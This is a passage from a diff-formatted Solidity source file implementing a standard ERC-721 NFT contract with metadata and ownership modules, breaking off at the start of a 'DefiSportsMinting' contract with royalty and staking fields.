function isApprovedForAll(
|
174 |
+
address _owner,
|
175 |
+
address _operator
|
176 |
+
)
|
177 |
+
external
|
178 |
+
view
|
179 |
+
returns (bool);
|
180 |
+
|
181 |
+
}
|
182 |
+
|
183 |
+
|
184 |
+
/**
|
185 |
+
* @dev ERC-721 interface for accepting safe transfers.
|
186 |
+
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md.
|
187 |
+
*/
|
188 |
+
interface ERC721TokenReceiver {
|
189 |
+
|
190 |
+
/**
|
191 |
+
* @dev Handle the receipt of a NFT. The ERC721 smart contract calls this function on the
|
192 |
+
* recipient after a `transfer`. This function MAY throw to revert and reject the transfer. Return
|
193 |
+
* of other than the magic value MUST result in the transaction being reverted.
|
194 |
+
* Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` unless throwing.
|
195 |
+
* @notice The contract address is always the message sender. A wallet/broker/auction application
|
196 |
+
* MUST implement the wallet interface if it will accept safe transfers.
|
197 |
+
* @param _operator The address which called `safeTransferFrom` function.
|
198 |
+
* @param _from The address which previously owned the token.
|
199 |
+
* @param _tokenId The NFT identifier which is being transferred.
|
200 |
+
* @param _data Additional data with no specified format.
|
201 |
+
* @return Returns `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))`.
|
202 |
+
*/
|
203 |
+
function onERC721Received(
|
204 |
+
address _operator,
|
205 |
+
address _from,
|
206 |
+
uint256 _tokenId,
|
207 |
+
bytes calldata _data
|
208 |
+
)
|
209 |
+
external
|
210 |
+
returns(bytes4);
|
211 |
+
|
212 |
+
}
|
213 |
+
|
214 |
+
|
215 |
+
/**
|
216 |
+
* @dev A standard for detecting smart contract interfaces.
|
217 |
+
* See: https://eips.ethereum.org/EIPS/eip-165.
|
218 |
+
*/
|
219 |
+
interface ERC165 {
|
220 |
+
|
221 |
+
/**
|
222 |
+
* @dev Checks if the smart contract includes a specific interface.
|
223 |
+
* This function uses less than 30,000 gas.
|
224 |
+
* @param _interfaceID The interface identifier, as specified in ERC-165.
|
225 |
+
* @return True if _interfaceID is supported, false otherwise.
|
226 |
+
*/
|
227 |
+
function supportsInterface(
|
228 |
+
bytes4 _interfaceID
|
229 |
+
)
|
230 |
+
external
|
231 |
+
view
|
232 |
+
returns (bool);
|
233 |
+
|
234 |
+
}
|
235 |
+
|
236 |
+
|
237 |
+
/**
|
238 |
+
* @dev Implementation of standard for detect smart contract interfaces.
|
239 |
+
*/
|
240 |
+
contract SupportsInterface is
|
241 |
+
ERC165
|
242 |
+
{
|
243 |
+
|
244 |
+
/**
|
245 |
+
* @dev Mapping of supported intefraces. You must not set element 0xffffffff to true.
|
246 |
+
*/
|
247 |
+
mapping(bytes4 => bool) internal supportedInterfaces;
|
248 |
+
|
249 |
+
/**
|
250 |
+
* @dev Contract constructor.
|
251 |
+
*/
|
252 |
+
constructor()
|
253 |
+
{
|
254 |
+
supportedInterfaces[0x01ffc9a7] = true; // ERC165
|
255 |
+
}
|
256 |
+
|
257 |
+
/**
|
258 |
+
* @dev Function to check which interfaces are suported by this contract.
|
259 |
+
* @param _interfaceID Id of the interface.
|
260 |
+
* @return True if _interfaceID is supported, false otherwise.
|
261 |
+
*/
|
262 |
+
function supportsInterface(
|
263 |
+
bytes4 _interfaceID
|
264 |
+
)
|
265 |
+
external
|
266 |
+
override
|
267 |
+
view
|
268 |
+
returns (bool)
|
269 |
+
{
|
270 |
+
return supportedInterfaces[_interfaceID];
|
271 |
+
}
|
272 |
+
|
273 |
+
}
|
274 |
+
|
275 |
+
|
276 |
+
/**
|
277 |
+
* @dev Utility library of inline functions on addresses.
|
278 |
+
* @notice Based on:
|
279 |
+
* https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/Address.sol
|
280 |
+
* Requires EIP-1052.
|
281 |
+
*/
|
282 |
+
library AddressUtils {
|
283 |
+
|
284 |
+
/**
|
285 |
+
* @dev Returns whether the target address is a contract.
|
286 |
+
* @param _addr Address to check.
|
287 |
+
* @return addressCheck True if _addr is a contract, false if not.
|
288 |
+
*/
|
289 |
+
function isContract(
|
290 |
+
address _addr
|
291 |
+
)
|
292 |
+
internal
|
293 |
+
view
|
294 |
+
returns (bool addressCheck)
|
295 |
+
{
|
296 |
+
// This method relies in extcodesize, which returns 0 for contracts in
|
297 |
+
// construction, since the code is only stored at the end of the
|
298 |
+
// constructor execution.
|
299 |
+
|
300 |
+
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
|
301 |
+
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
|
302 |
+
// for accounts without code, i.e. `keccak256('')`
|
303 |
+
bytes32 codehash;
|
304 |
+
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
|
305 |
+
assembly { codehash := extcodehash(_addr) } // solhint-disable-line
|
306 |
+
addressCheck = (codehash != 0x0 && codehash != accountHash);
|
307 |
+
}
|
308 |
+
|
309 |
+
}
|
310 |
+
|
311 |
+
|
312 |
+
/**
|
313 |
+
* @dev Implementation of ERC-721 non-fungible token standard.
|
314 |
+
*/
|
315 |
+
contract NFToken is
|
316 |
+
ERC721,
|
317 |
+
SupportsInterface
|
318 |
+
{
|
319 |
+
using AddressUtils for address;
|
320 |
+
|
321 |
+
/**
|
322 |
+
* @dev List of revert message codes. Implementing dApp should handle showing the correct message.
|
323 |
+
* Based on 0xcert framework error codes.
|
324 |
+
*/
|
325 |
+
string constant ZERO_ADDRESS = "003001";
|
326 |
+
string constant NOT_VALID_NFT = "003002";
|
327 |
+
string constant NOT_OWNER_OR_OPERATOR = "003003";
|
328 |
+
string constant NOT_OWNER_APPROVED_OR_OPERATOR = "003004";
|
329 |
+
string constant NOT_ABLE_TO_RECEIVE_NFT = "003005";
|
330 |
+
string constant NFT_ALREADY_EXISTS = "003006";
|
331 |
+
string constant NOT_OWNER = "003007";
|
332 |
+
string constant IS_OWNER = "003008";
|
333 |
+
|
334 |
+
/**
|
335 |
+
* @dev Magic value of a smart contract that can receive NFT.
|
336 |
+
* Equal to: bytes4(keccak256("onERC721Received(address,address,uint256,bytes)")).
|
337 |
+
*/
|
338 |
+
bytes4 internal constant MAGIC_ON_ERC721_RECEIVED = 0x150b7a02;
|
339 |
+
|
340 |
+
/**
|
341 |
+
* @dev A mapping from NFT ID to the address that owns it.
|
342 |
+
*/
|
343 |
+
mapping (uint256 => address) internal idToOwner;
|
344 |
+
|
345 |
+
/**
|
346 |
+
* @dev Mapping from NFT ID to approved address.
|
347 |
+
*/
|
348 |
+
mapping (uint256 => address) internal idToApproval;
|
349 |
+
|
350 |
+
/**
|
351 |
+
* @dev Mapping from owner address to count of their tokens.
|
352 |
+
*/
|
353 |
+
mapping (address => uint256) private ownerToNFTokenCount;
|
354 |
+
|
355 |
+
/**
|
356 |
+
* @dev Mapping from owner address to mapping of operator addresses.
|
357 |
+
*/
|
358 |
+
mapping (address => mapping (address => bool)) internal ownerToOperators;
|
359 |
+
|
360 |
+
/**
|
361 |
+
* @dev Guarantees that the msg.sender is an owner or operator of the given NFT.
|
362 |
+
* @param _tokenId ID of the NFT to validate.
|
363 |
+
*/
|
364 |
+
modifier canOperate(
|
365 |
+
uint256 _tokenId
|
366 |
+
)
|
367 |
+
{
|
368 |
+
address tokenOwner = idToOwner[_tokenId];
|
369 |
+
require(
|
370 |
+
tokenOwner == msg.sender || ownerToOperators[tokenOwner][msg.sender],
|
371 |
+
NOT_OWNER_OR_OPERATOR
|
372 |
+
);
|
373 |
+
_;
|
374 |
+
}
|
375 |
+
|
376 |
+
/**
|
377 |
+
* @dev Guarantees that the msg.sender is allowed to transfer NFT.
|
378 |
+
* @param _tokenId ID of the NFT to transfer.
|
379 |
+
*/
|
380 |
+
modifier canTransfer(
|
381 |
+
uint256 _tokenId
|
382 |
+
)
|
383 |
+
{
|
384 |
+
address tokenOwner = idToOwner[_tokenId];
|
385 |
+
require(
|
386 |
+
tokenOwner == msg.sender
|
387 |
+
|| idToApproval[_tokenId] == msg.sender
|
388 |
+
|| ownerToOperators[tokenOwner][msg.sender],
|
389 |
+
NOT_OWNER_APPROVED_OR_OPERATOR
|
390 |
+
);
|
391 |
+
_;
|
392 |
+
}
|
393 |
+
|
394 |
+
/**
|
395 |
+
* @dev Guarantees that _tokenId is a valid Token.
|
396 |
+
* @param _tokenId ID of the NFT to validate.
|
397 |
+
*/
|
398 |
+
modifier validNFToken(
|
399 |
+
uint256 _tokenId
|
400 |
+
)
|
401 |
+
{
|
402 |
+
require(idToOwner[_tokenId] != address(0), NOT_VALID_NFT);
|
403 |
+
_;
|
404 |
+
}
|
405 |
+
|
406 |
+
/**
|
407 |
+
* @dev Contract constructor.
|
408 |
+
*/
|
409 |
+
constructor()
|
410 |
+
{
|
411 |
+
supportedInterfaces[0x80ac58cd] = true; // ERC721
|
412 |
+
}
|
413 |
+
|
414 |
+
/**
|
415 |
+
* @dev Transfers the ownership of an NFT from one address to another address. This function can
|
416 |
+
* be changed to payable.
|
417 |
+
* @notice Throws unless `msg.sender` is the current owner, an authorized operator, or the
|
418 |
+
* approved address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is
|
419 |
+
* the zero address. Throws if `_tokenId` is not a valid NFT. When transfer is complete, this
|
420 |
+
* function checks if `_to` is a smart contract (code size > 0). If so, it calls
|
421 |
+
* `onERC721Received` on `_to` and throws if the return value is not
|
422 |
+
* `bytes4(keccak256("onERC721Received(address,uint256,bytes)"))`.
|
423 |
+
* @param _from The current owner of the NFT.
|
424 |
+
* @param _to The new owner.
|
425 |
+
* @param _tokenId The NFT to transfer.
|
426 |
+
* @param _data Additional data with no specified format, sent in call to `_to`.
|
427 |
+
*/
|
428 |
+
function safeTransferFrom(
|
429 |
+
address _from,
|
430 |
+
address _to,
|
431 |
+
uint256 _tokenId,
|
432 |
+
bytes calldata _data
|
433 |
+
)
|
434 |
+
external
|
435 |
+
override
|
436 |
+
{
|
437 |
+
_safeTransferFrom(_from, _to, _tokenId, _data);
|
438 |
+
}
|
439 |
+
|
440 |
+
/**
|
441 |
+
* @dev Transfers the ownership of an NFT from one address to another address. This function can
|
442 |
+
* be changed to payable.
|
443 |
+
* @notice This works identically to the other function with an extra data parameter, except this
|
444 |
+
* function just sets data to ""
|
445 |
+
* @param _from The current owner of the NFT.
|
446 |
+
* @param _to The new owner.
|
447 |
+
* @param _tokenId The NFT to transfer.
|
448 |
+
*/
|
449 |
+
function safeTransferFrom(
|
450 |
+
address _from,
|
451 |
+
address _to,
|
452 |
+
uint256 _tokenId
|
453 |
+
)
|
454 |
+
external
|
455 |
+
override
|
456 |
+
{
|
457 |
+
_safeTransferFrom(_from, _to, _tokenId, "");
|
458 |
+
}
|
459 |
+
|
460 |
+
/**
|
461 |
+
* @dev Throws unless `msg.sender` is the current owner, an authorized operator, or the approved
|
462 |
+
* address for this NFT. Throws if `_from` is not the current owner. Throws if `_to` is the zero
|
463 |
+
* address. Throws if `_tokenId` is not a valid NFT. This function can be changed to payable.
|
464 |
+
* @notice The caller is responsible to confirm that `_to` is capable of receiving NFTs or else
|
465 |
+
* they may be permanently lost.
|
466 |
+
* @param _from The current owner of the NFT.
|
467 |
+
* @param _to The new owner.
|
468 |
+
* @param _tokenId The NFT to transfer.
|
469 |
+
*/
|
470 |
+
function transferFrom(
|
471 |
+
address _from,
|
472 |
+
address _to,
|
473 |
+
uint256 _tokenId
|
474 |
+
)
|
475 |
+
external
|
476 |
+
override
|
477 |
+
canTransfer(_tokenId)
|
478 |
+
validNFToken(_tokenId)
|
479 |
+
{
|
480 |
+
address tokenOwner = idToOwner[_tokenId];
|
481 |
+
require(tokenOwner == _from, NOT_OWNER);
|
482 |
+
require(_to != address(0), ZERO_ADDRESS);
|
483 |
+
|
484 |
+
_transfer(_to, _tokenId);
|
485 |
+
}
|
486 |
+
|
487 |
+
/**
|
488 |
+
* @dev Set or reaffirm the approved address for an NFT. This function can be changed to payable.
|
489 |
+
* @notice The zero address indicates there is no approved address. Throws unless `msg.sender` is
|
490 |
+
* the current NFT owner, or an authorized operator of the current owner.
|
491 |
+
* @param _approved Address to be approved for the given NFT ID.
|
492 |
+
* @param _tokenId ID of the token to be approved.
|
493 |
+
*/
|
494 |
+
function approve(
|
495 |
+
address _approved,
|
496 |
+
uint256 _tokenId
|
497 |
+
)
|
498 |
+
external
|
499 |
+
override
|
500 |
+
canOperate(_tokenId)
|
501 |
+
validNFToken(_tokenId)
|
502 |
+
{
|
503 |
+
address tokenOwner = idToOwner[_tokenId];
|
504 |
+
require(_approved != tokenOwner, IS_OWNER);
|
505 |
+
|
506 |
+
idToApproval[_tokenId] = _approved;
|
507 |
+
emit Approval(tokenOwner, _approved, _tokenId);
|
508 |
+
}
|
509 |
+
|
510 |
+
/**
|
511 |
+
* @dev Enables or disables approval for a third party ("operator") to manage all of
|
512 |
+
* `msg.sender`'s assets. It also emits the ApprovalForAll event.
|
513 |
+
* @notice This works even if sender doesn't own any tokens at the time.
|
514 |
+
* @param _operator Address to add to the set of authorized operators.
|
515 |
+
* @param _approved True if the operators is approved, false to revoke approval.
|
516 |
+
*/
|
517 |
+
function setApprovalForAll(
|
518 |
+
address _operator,
|
519 |
+
bool _approved
|
520 |
+
)
|
521 |
+
external
|
522 |
+
override
|
523 |
+
{
|
524 |
+
ownerToOperators[msg.sender][_operator] = _approved;
|
525 |
+
emit ApprovalForAll(msg.sender, _operator, _approved);
|
526 |
+
}
|
527 |
+
|
528 |
+
/**
|
529 |
+
* @dev Returns the number of NFTs owned by `_owner`. NFTs assigned to the zero address are
|
530 |
+
* considered invalid, and this function throws for queries about the zero address.
|
531 |
+
* @param _owner Address for whom to query the balance.
|
532 |
+
* @return Balance of _owner.
|
533 |
+
*/
|
534 |
+
function balanceOf(
|
535 |
+
address _owner
|
536 |
+
)
|
537 |
+
external
|
538 |
+
override
|
539 |
+
view
|
540 |
+
returns (uint256)
|
541 |
+
{
|
542 |
+
require(_owner != address(0), ZERO_ADDRESS);
|
543 |
+
return _getOwnerNFTCount(_owner);
|
544 |
+
}
|
545 |
+
|
546 |
+
/**
|
547 |
+
* @dev Returns the address of the owner of the NFT. NFTs assigned to the zero address are
|
548 |
+
* considered invalid, and queries about them do throw.
|
549 |
+
* @param _tokenId The identifier for an NFT.
|
550 |
+
* @return _owner Address of _tokenId owner.
|
551 |
+
*/
|
552 |
+
function ownerOf(
|
553 |
+
uint256 _tokenId
|
554 |
+
)
|
555 |
+
external
|
556 |
+
override
|
557 |
+
view
|
558 |
+
returns (address _owner)
|
559 |
+
{
|
560 |
+
_owner = idToOwner[_tokenId];
|
561 |
+
require(_owner != address(0), NOT_VALID_NFT);
|
562 |
+
}
|
563 |
+
|
564 |
+
/**
|
565 |
+
* @dev Get the approved address for a single NFT.
|
566 |
+
* @notice Throws if `_tokenId` is not a valid NFT.
|
567 |
+
* @param _tokenId ID of the NFT to query the approval of.
|
568 |
+
* @return Address that _tokenId is approved for.
|
569 |
+
*/
|
570 |
+
function getApproved(
|
571 |
+
uint256 _tokenId
|
572 |
+
)
|
573 |
+
external
|
574 |
+
override
|
575 |
+
view
|
576 |
+
validNFToken(_tokenId)
|
577 |
+
returns (address)
|
578 |
+
{
|
579 |
+
return idToApproval[_tokenId];
|
580 |
+
}
|
581 |
+
|
582 |
+
/**
|
583 |
+
* @dev Checks if `_operator` is an approved operator for `_owner`.
|
584 |
+
* @param _owner The address that owns the NFTs.
|
585 |
+
* @param _operator The address that acts on behalf of the owner.
|
586 |
+
* @return True if approved for all, false otherwise.
|
587 |
+
*/
|
588 |
+
function isApprovedForAll(
|
589 |
+
address _owner,
|
590 |
+
address _operator
|
591 |
+
)
|
592 |
+
external
|
593 |
+
override
|
594 |
+
view
|
595 |
+
returns (bool)
|
596 |
+
{
|
597 |
+
return ownerToOperators[_owner][_operator];
|
598 |
+
}
|
599 |
+
|
600 |
+
/**
|
601 |
+
* @dev Actually performs the transfer.
|
602 |
+
* @notice Does NO checks.
|
603 |
+
* @param _to Address of a new owner.
|
604 |
+
* @param _tokenId The NFT that is being transferred.
|
605 |
+
*/
|
606 |
+
function _transfer(
|
607 |
+
address _to,
|
608 |
+
uint256 _tokenId
|
609 |
+
)
|
610 |
+
internal
|
611 |
+
{
|
612 |
+
address from = idToOwner[_tokenId];
|
613 |
+
_clearApproval(_tokenId);
|
614 |
+
|
615 |
+
_removeNFToken(from, _tokenId);
|
616 |
+
_addNFToken(_to, _tokenId);
|
617 |
+
|
618 |
+
emit Transfer(from, _to, _tokenId);
|
619 |
+
}
|
620 |
+
|
621 |
+
/**
|
622 |
+
* @dev Mints a new NFT.
|
623 |
+
* @notice This is an internal function which should be called from user-implemented external
|
624 |
+
* mint function. Its purpose is to show and properly initialize data structures when using this
|
625 |
+
* implementation.
|
626 |
+
* @param _to The address that will own the minted NFT.
|
627 |
+
* @param _tokenId of the NFT to be minted by the msg.sender.
|
628 |
+
*/
|
629 |
+
function _mint(
|
630 |
+
address _to,
|
631 |
+
uint256 _tokenId
|
632 |
+
)
|
633 |
+
internal
|
634 |
+
virtual
|
635 |
+
{
|
636 |
+
require(_to != address(0), ZERO_ADDRESS);
|
637 |
+
require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);
|
638 |
+
|
639 |
+
_addNFToken(_to, _tokenId);
|
640 |
+
|
641 |
+
emit Transfer(address(0), _to, _tokenId);
|
642 |
+
}
|
643 |
+
|
644 |
+
/**
|
645 |
+
* @dev Burns a NFT.
|
646 |
+
* @notice This is an internal function which should be called from user-implemented external burn
|
647 |
+
* function. Its purpose is to show and properly initialize data structures when using this
|
648 |
+
* implementation. Also, note that this burn implementation allows the minter to re-mint a burned
|
649 |
+
* NFT.
|
650 |
+
* @param _tokenId ID of the NFT to be burned.
|
651 |
+
*/
|
652 |
+
function _burn(
|
653 |
+
uint256 _tokenId
|
654 |
+
)
|
655 |
+
internal
|
656 |
+
virtual
|
657 |
+
validNFToken(_tokenId)
|
658 |
+
{
|
659 |
+
address tokenOwner = idToOwner[_tokenId];
|
660 |
+
_clearApproval(_tokenId);
|
661 |
+
_removeNFToken(tokenOwner, _tokenId);
|
662 |
+
emit Transfer(tokenOwner, address(0), _tokenId);
|
663 |
+
}
|
664 |
+
|
665 |
+
/**
|
666 |
+
* @dev Removes a NFT from owner.
|
667 |
+
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
|
668 |
+
* @param _from Address from which we want to remove the NFT.
|
669 |
+
* @param _tokenId Which NFT we want to remove.
|
670 |
+
*/
|
671 |
+
function _removeNFToken(
|
672 |
+
address _from,
|
673 |
+
uint256 _tokenId
|
674 |
+
)
|
675 |
+
internal
|
676 |
+
virtual
|
677 |
+
{
|
678 |
+
require(idToOwner[_tokenId] == _from, NOT_OWNER);
|
679 |
+
ownerToNFTokenCount[_from] -= 1;
|
680 |
+
delete idToOwner[_tokenId];
|
681 |
+
}
|
682 |
+
|
683 |
+
/**
|
684 |
+
* @dev Assigns a new NFT to owner.
|
685 |
+
* @notice Use and override this function with caution. Wrong usage can have serious consequences.
|
686 |
+
* @param _to Address to which we want to add the NFT.
|
687 |
+
* @param _tokenId Which NFT we want to add.
|
688 |
+
*/
|
689 |
+
function _addNFToken(
|
690 |
+
address _to,
|
691 |
+
uint256 _tokenId
|
692 |
+
)
|
693 |
+
internal
|
694 |
+
virtual
|
695 |
+
{
|
696 |
+
require(idToOwner[_tokenId] == address(0), NFT_ALREADY_EXISTS);
|
697 |
+
|
698 |
+
idToOwner[_tokenId] = _to;
|
699 |
+
ownerToNFTokenCount[_to] += 1;
|
700 |
+
}
|
701 |
+
|
702 |
+
/**
|
703 |
+
* @dev Helper function that gets NFT count of owner. This is needed for overriding in enumerable
|
704 |
+
* extension to remove double storage (gas optimization) of owner NFT count.
|
705 |
+
* @param _owner Address for whom to query the count.
|
706 |
+
* @return Number of _owner NFTs.
|
707 |
+
*/
|
708 |
+
function _getOwnerNFTCount(
|
709 |
+
address _owner
|
710 |
+
)
|
711 |
+
internal
|
712 |
+
virtual
|
713 |
+
view
|
714 |
+
returns (uint256)
|
715 |
+
{
|
716 |
+
return ownerToNFTokenCount[_owner];
|
717 |
+
}
|
718 |
+
|
719 |
+
/**
|
720 |
+
* @dev Actually perform the safeTransferFrom.
|
721 |
+
* @param _from The current owner of the NFT.
|
722 |
+
* @param _to The new owner.
|
723 |
+
* @param _tokenId The NFT to transfer.
|
724 |
+
* @param _data Additional data with no specified format, sent in call to `_to`.
|
725 |
+
*/
|
726 |
+
function _safeTransferFrom(
|
727 |
+
address _from,
|
728 |
+
address _to,
|
729 |
+
uint256 _tokenId,
|
730 |
+
bytes memory _data
|
731 |
+
)
|
732 |
+
private
|
733 |
+
canTransfer(_tokenId)
|
734 |
+
validNFToken(_tokenId)
|
735 |
+
{
|
736 |
+
address tokenOwner = idToOwner[_tokenId];
|
737 |
+
require(tokenOwner == _from, NOT_OWNER);
|
738 |
+
require(_to != address(0), ZERO_ADDRESS);
|
739 |
+
|
740 |
+
_transfer(_to, _tokenId);
|
741 |
+
|
742 |
+
if (_to.isContract())
|
743 |
+
{
|
744 |
+
bytes4 retval = ERC721TokenReceiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data);
|
745 |
+
require(retval == MAGIC_ON_ERC721_RECEIVED, NOT_ABLE_TO_RECEIVE_NFT);
|
746 |
+
}
|
747 |
+
}
|
748 |
+
|
749 |
+
/**
|
750 |
+
* @dev Clears the current approval of a given NFT ID.
|
751 |
+
* @param _tokenId ID of the NFT to be transferred.
|
752 |
+
*/
|
753 |
+
function _clearApproval(
|
754 |
+
uint256 _tokenId
|
755 |
+
)
|
756 |
+
private
|
757 |
+
{
|
758 |
+
delete idToApproval[_tokenId];
|
759 |
+
}
|
760 |
+
|
761 |
+
}
|
762 |
+
|
763 |
+
|
764 |
+
/**
|
765 |
+
* @dev Optional metadata extension for ERC-721 non-fungible token standard.
|
766 |
+
* See https://github.com/ethereum/EIPs/blob/master/EIPS/eip-721.md.
|
767 |
+
*/
|
768 |
+
interface ERC721Metadata {
|
769 |
+
|
770 |
+
/**
|
771 |
+
* @dev Returns a descriptive name for a collection of NFTs in this contract.
|
772 |
+
* @return _name Representing name.
|
773 |
+
*/
|
774 |
+
function name()
|
775 |
+
external
|
776 |
+
view
|
777 |
+
returns (string memory _name);
|
778 |
+
|
779 |
+
/**
|
780 |
+
* @dev Returns a abbreviated name for a collection of NFTs in this contract.
|
781 |
+
* @return _symbol Representing symbol.
|
782 |
+
*/
|
783 |
+
function symbol()
|
784 |
+
external
|
785 |
+
view
|
786 |
+
returns (string memory _symbol);
|
787 |
+
|
788 |
+
/**
|
789 |
+
* @dev Returns a distinct Uniform Resource Identifier (URI) for a given asset. It Throws if
|
790 |
+
* `_tokenId` is not a valid NFT. URIs are defined in RFC3986. The URI may point to a JSON file
|
791 |
+
* that conforms to the "ERC721 Metadata JSON Schema".
|
792 |
+
* @return URI of _tokenId.
|
793 |
+
*/
|
794 |
+
function tokenURI(uint256 _tokenId)
|
795 |
+
external
|
796 |
+
view
|
797 |
+
returns (string memory);
|
798 |
+
|
799 |
+
}
|
800 |
+
|
801 |
+
|
802 |
+
/**
|
803 |
+
* @dev Optional metadata implementation for ERC-721 non-fungible token standard.
|
804 |
+
*/
|
805 |
+
contract NFTokenMetadata is
|
806 |
+
NFToken,
|
807 |
+
ERC721Metadata
|
808 |
+
{
|
809 |
+
|
810 |
+
/**
|
811 |
+
* @dev A descriptive name for a collection of NFTs.
|
812 |
+
*/
|
813 |
+
string internal nftName;
|
814 |
+
|
815 |
+
/**
|
816 |
+
* @dev An abbreviated name for NFTokens.
|
817 |
+
*/
|
818 |
+
string internal nftSymbol;
|
819 |
+
|
820 |
+
/**
|
821 |
+
* @dev Mapping from NFT ID to metadata uri.
|
822 |
+
*/
|
823 |
+
mapping (uint256 => string) internal idToUri;
|
824 |
+
|
825 |
+
/**
|
826 |
+
* @dev Contract constructor.
|
827 |
+
* @notice When implementing this contract don't forget to set nftName and nftSymbol.
|
828 |
+
*/
|
829 |
+
constructor()
|
830 |
+
{
|
831 |
+
supportedInterfaces[0x5b5e139f] = true; // ERC721Metadata
|
832 |
+
}
|
833 |
+
|
834 |
+
/**
|
835 |
+
* @dev Returns a descriptive name for a collection of NFTokens.
|
836 |
+
* @return _name Representing name.
|
837 |
+
*/
|
838 |
+
function name()
|
839 |
+
external
|
840 |
+
override
|
841 |
+
view
|
842 |
+
returns (string memory _name)
|
843 |
+
{
|
844 |
+
_name = nftName;
|
845 |
+
}
|
846 |
+
|
847 |
+
/**
|
848 |
+
* @dev Returns an abbreviated name for NFTokens.
|
849 |
+
* @return _symbol Representing symbol.
|
850 |
+
*/
|
851 |
+
function symbol()
|
852 |
+
external
|
853 |
+
override
|
854 |
+
view
|
855 |
+
returns (string memory _symbol)
|
856 |
+
{
|
857 |
+
_symbol = nftSymbol;
|
858 |
+
}
|
859 |
+
|
860 |
+
/**
|
861 |
+
* @dev A distinct URI (RFC 3986) for a given NFT.
|
862 |
+
* @param _tokenId Id for which we want uri.
|
863 |
+
* @return URI of _tokenId.
|
864 |
+
*/
|
865 |
+
function tokenURI(
|
866 |
+
uint256 _tokenId
|
867 |
+
)
|
868 |
+
public
|
869 |
+
virtual
|
870 |
+
override
|
871 |
+
view
|
872 |
+
validNFToken(_tokenId)
|
873 |
+
returns (string memory)
|
874 |
+
{
|
875 |
+
return idToUri[_tokenId];
|
876 |
+
}
|
877 |
+
|
878 |
+
/**
|
879 |
+
* @dev Burns a NFT.
|
880 |
+
* @notice This is an internal function which should be called from user-implemented external
|
881 |
+
* burn function. Its purpose is to show and properly initialize data structures when using this
|
882 |
+
* implementation. Also, note that this burn implementation allows the minter to re-mint a burned
|
883 |
+
* NFT.
|
884 |
+
* @param _tokenId ID of the NFT to be burned.
|
885 |
+
*/
|
886 |
+
function _burn(
|
887 |
+
uint256 _tokenId
|
888 |
+
)
|
889 |
+
internal
|
890 |
+
override
|
891 |
+
virtual
|
892 |
+
{
|
893 |
+
super._burn(_tokenId);
|
894 |
+
|
895 |
+
delete idToUri[_tokenId];
|
896 |
+
}
|
897 |
+
|
898 |
+
/**
|
899 |
+
* @dev Set a distinct URI (RFC 3986) for a given NFT ID.
|
900 |
+
* @notice This is an internal function which should be called from user-implemented external
|
901 |
+
* function. Its purpose is to show and properly initialize data structures when using this
|
902 |
+
* implementation.
|
903 |
+
* @param _tokenId Id for which we want URI.
|
904 |
+
* @param _uri String representing RFC 3986 URI.
|
905 |
+
*/
|
906 |
+
function _setTokenUri(
|
907 |
+
uint256 _tokenId,
|
908 |
+
string memory _uri
|
909 |
+
)
|
910 |
+
internal
|
911 |
+
validNFToken(_tokenId)
|
912 |
+
{
|
913 |
+
idToUri[_tokenId] = _uri;
|
914 |
+
}
|
915 |
+
|
916 |
+
}
|
917 |
+
|
918 |
+
|
919 |
+
/**
|
920 |
+
* @dev The contract has an owner address, and provides basic authorization control whitch
|
921 |
+
* simplifies the implementation of user permissions. This contract is based on the source code at:
|
922 |
+
* https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/ownership/Ownable.sol
|
923 |
+
*/
|
924 |
+
contract Ownable {
|
925 |
+
|
926 |
+
/**
|
927 |
+
* @dev Error constants.
|
928 |
+
*/
|
929 |
+
string public constant NOT_CURRENT_OWNER = "018001";
|
930 |
+
string public constant CANNOT_TRANSFER_TO_ZERO_ADDRESS = "018002";
|
931 |
+
|
932 |
+
/**
|
933 |
+
* @dev Current owner address.
|
934 |
+
*/
|
935 |
+
address public owner;
|
936 |
+
|
937 |
+
/**
|
938 |
+
* @dev An event which is triggered when the owner is changed.
|
939 |
+
* @param previousOwner The address of the previous owner.
|
940 |
+
* @param newOwner The address of the new owner.
|
941 |
+
*/
|
942 |
+
event OwnershipTransferred(
|
943 |
+
address indexed previousOwner,
|
944 |
+
address indexed newOwner
|
945 |
+
);
|
946 |
+
|
947 |
+
/**
|
948 |
+
* @dev The constructor sets the original `owner` of the contract to the sender account.
|
949 |
+
*/
|
950 |
+
constructor()
|
951 |
+
{
|
952 |
+
owner = msg.sender;
|
953 |
+
}
|
954 |
+
|
955 |
+
/**
|
956 |
+
* @dev Throws if called by any account other than the owner.
|
957 |
+
*/
|
958 |
+
modifier onlyOwner()
|
959 |
+
{
|
960 |
+
require(msg.sender == owner, NOT_CURRENT_OWNER);
|
961 |
+
_;
|
962 |
+
}
|
963 |
+
|
964 |
+
/**
|
965 |
+
* @dev Allows the current owner to transfer control of the contract to a newOwner.
|
966 |
+
* @param _newOwner The address to transfer ownership to.
|
967 |
+
*/
|
968 |
+
function transferOwnership(
|
969 |
+
address _newOwner
|
970 |
+
)
|
971 |
+
public
|
972 |
+
onlyOwner
|
973 |
+
{
|
974 |
+
require(_newOwner != address(0), CANNOT_TRANSFER_TO_ZERO_ADDRESS);
|
975 |
+
emit OwnershipTransferred(owner, _newOwner);
|
976 |
+
owner = _newOwner;
|
977 |
+
}
|
978 |
+
|
979 |
+
}
|
980 |
+
|
981 |
+
|
982 |
+
/**
|
983 |
+
* @dev Interface of the ERC20 standard as defined in the EIP.
|
984 |
+
*/
|
985 |
+
interface IStacking {
|
986 |
+
function isStackedUser(address user) external view returns(bool);
|
987 |
+
}
|
988 |
+
|
989 |
+
|
990 |
+
contract DefiSportsMinting is NFTokenMetadata, Ownable {
|
991 |
+
|
992 |
+
struct royality {
|
993 |
+
address creator;
|
994 |
+
uint256 percentage;
|
995 |
+
}
|
996 |
+
|
997 |
+
mapping (uint256 => royality) private royalityDetails;
|
998 |
+
string internal baseUrlIPFS;
|
999 |
+
IStacking private stacking;
|
1000 |
+
|
1001 |
+
constructor(address _stacking) {
|
